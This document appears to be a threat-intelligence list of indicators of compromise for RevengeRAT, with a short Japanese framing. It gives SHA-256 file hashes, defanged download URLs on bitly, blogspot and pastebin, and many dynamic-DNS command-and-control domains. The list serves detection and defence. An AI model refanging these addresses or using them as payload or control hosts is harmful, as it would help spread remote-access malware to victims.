00a002607b6e7938292e7ae81ca60d58a091c456ea4343210d4bb610b6edee01

4c29279f341f568056fe9e2ff8bfb2fcaf06b065246329ca9652fcd7986b405d

1d1904dad2df5d677342806cbf1b67b9840d1bc9c85c10928896fcfa91661762

5f762589cdb8955308db4bba140129f172bf2dbc1e979137b6cc7949f7b19e6f

b10519bb52656a09aa146305d8b2ec4aa55f3dba43c633d9de23046798a32a2f

b6db8716bedd23042883f31132fa00b4125c659f2799d239f42105367ff42aec

821e6f3faacb4edafa8ddb60f83a7c8e87845a07ad8d1f8362a7c68cd8a48343

1fd98d66d123d4d0c049b4e1053d22335ef9dcec9fdde398d608c7d7d23ed280

5ca968f9e6a97505abe7c732b5ee573f787b11f294ccbf3a96ae7b77ccce004c

26f5e813e34c05cd1e553224e5c8284ced7fa648d55725416232c24e58546e60

ef837119fc241e8fde85f36f4635a71f6b87aecf39dc979961be914f48c4ef4c

d7c92a8aa03478155de6813c35e84727ac9d383e27ba751d833e5efba3d77946

915535fd77ac89a3a86eca6b3a1f1852f69c141050754f059c094c39a9ee4259

0671a2b4ae1a94edca9f65f7d11199d6526cab1fd53911e114ab772900d8a583

ea3cab2a0b74e30c0d6812e3ef6fcc9e47ea723c98d39fa1e04d5edf03193ff0

de657d3538e96a8d2c74b7c4f8c6fb2e51d67f12d158abfea2964298a722993c

70657b183854550e77633f85d9e63fbf0b01a21131388228985322880b987b9a

bc8a00fddff73accaff5eb5f3a6ca182a5282502d7af054ca9176d2e98a5116a

c3f36883ebf928c8403e068648299b53b09fecb0f56986980319e83f13dc296c

0e5011ee17c5f9bbcad8df4dc2a971fe56346f8ca7ce4e93d25f3b02086c581c

51147c260c18d3e766006ae4ffa216d4c178c8ee669a83391fab0de98da24b27

e1eb9daa5fb43b9f07e2b75f931a815fd5adf7e3f8d4f885740202af886402da

08883b4d7081d51bb9d9429f856c7c4c95f47a22f38aeb48b7772635d718c7ca

12a7ac8838681a95339e24683c0c8e6410a040a8a8ce5fe72bc175b724cb0aa9

 

 

ダウンロードURL

www.bitly[.]com/nliasjdASd1

www.bitly[.]com/nliasjdASd2

www.bitly[.]com/nliasjdASd3

www.bitly[.]com/nliasjdASd4

www.bitly[.]com/nliasjdASd5

www.bitly[.]com/nliasjdASd6

www.bitly[.]com/nliasjdASd7

www.bitly[.]com/nliasjdASd8

www.bitly[.]com/nliasjdASd9

www.bitly[.]com/nliasjdASd11

www.bitly[.]com/nliasjdASd12

www.bitly[.]com/nliasjdASd13

www.bitly[.]com/SexoPhone1

www.bitly[.]com/SexoPhone2

www.bitly[.]com/SexoPhone4

www.bitly[.]com/SmexEaldos1

www.bitly[.]com/SmexEaldos2

www.bitly[.]com/SmexEaldos3

http://bitly[.]com/SmexEaldos4

www.bitly[.]com/SmexEaldos5

www.bitly[.]com/SmexEaldos6

www.bitly[.]com/SmexEaldos7

www.bitly[.]com/SmexEaldos8

www.bitly[.]com/SmexEaldos9

www.bitly[.]com/SmexEaldos10

www.bitly[.]com/XAMSeWaWz

www.bitly[.]com/CAEanwQA

www.bitly[.]com/MinPoXAsUKx

www.bitly[.]com/MinPoXAs

http:/bitly[.]com/chutter1

www.bitly[.]com/doc201901000791

www.bitly[.]com/doc201901000793

www.bitly[.]com/ASDAWnZqWas

https://bjm9.blogspot[.]com

emawattttson.blogspot[.]com

https://treffictesgn.blogspot[.]com

https://miganshumaratamoligossa.blogspot[.]com

https://buydildoonline.blogspot[.]com

https://pastebin[.]com/raw/2LDaeHE1

http://pastebin[.]com/raw/YYZq1XR0

https://pastebin[.]com/raw/tb5gHu2G

http://pastebin[.]com/raw/0c9cC2iM

http://pastebin[.]com/raw/sgawvit9

 

以下のインジケーターがRevengeRAT関連として特定されましたが、RevengeRAT限定ではない可能性があります。

frankmana.duckdns[.]org

workfine11.duckdns[.]org

oldmandnsch.duckdns[.]org

oldmandnsch.duckdns[.]org

blackhagga.duckdns[.]org

skyrocket1.duckdns[.]org

skyrocket1.duckdns[.]org

kronoz.duckdns[.]org

oldmandnsch.duckdns[.]org

kronozzz2.duckdns[.]org

lulla.duckdns[.]org

decent.myvnc[.]com

decent5.myvnc[.]com

jayztools1.ddns[.]net

jayztools2.ddns[.]net

jayztools3.ddns[.]net

totallol.duckdns[.]org

totallol1.duckdns[.]org

totallol2.duckdns[.]org

totallol3.duckdns[.]org

decent2.myvnc[.]com

decent3.myvnc[.]com

decent1.myvnc[.]com

decent4.myvnc[.]com

jordanchen736.sytes[.]net

jordanchen7361.sytes[.]net

jordanchen7362.sytes[.]net

jordanchen7363.sytes[.]net

lalacious1.serveftp[.]com

lalacious2.serveftp[.]com

lalacious3.serveftp[.]com

lalacious4.serveftp[.]com

mastermana1.serveirc[.]com

mastermana2.serveirc[.]com

mastermana3.serveirc[.]com

mastermana4.serveirc[.]com

mastermana5.serveirc[.]com

lullikhao.ddns[.]net

lullikhao1.ddns[.]net

lullikhao2.ddns[.]net

bullol.duckdns[.]org

cocomo.ddns[.]net

haggasinger2.ddns[.]net

haggasinger.ddns[.]net

haggasinger1.ddns[.]net

loramer1.ddnsking[.]com

easykill.servebeer[.]com

easykill3.servebeer[.]com

easykill2.servepics[.]com

easykill1.servepics[.]com

easykill3.servepics[.]com

helloweenhagga.ddns[.]net

helloweenhagga3.ddns[.]net

helloweenhagga4.ddns[.]net

helloweenhagga2.ddns[.]net

revengerx211.sytes[.]net

revengerx212.sytes[.]net

revengerx213.sytes[.]net

revengerx214.sytes[.]net

revengerx215.sytes[.]net

revengerx216.sytes[.]net

revengerx217.sytes[.]net

revengerx218.sytes[.]net

revengerx219.sytes[.]net

revengerx210.sytes[.]net

office365update.duckdns[.]org

systen32.ddns[.]net

bhenchood.ddns[.]net

emmanuelstevo.ddns[.]net

zinderhola1.ddns[.]net

zinderhola.ddns[.]net

myownlogs.duckdns[.]org

cocomo1.ddns[.]net

cocomo10.serveblog[.]net

cocomo2.ddns[.]net

cocomo2.serveblog[.]net

cocomo3.serveblog[.]net

cocomo4.serveblog[.]net

cocomo5.serveblog[.]net

cocomo6.serveblog[.]net

cocomo7.serveblog[.]net

cocomo8.serveblog[.]net

cocomo9.serveblog[.]net

mrcode.hopto[.]org

mrcode1.hopto[.]org

mrcode2.hopto[.]org

pussi2442.ddns[.]net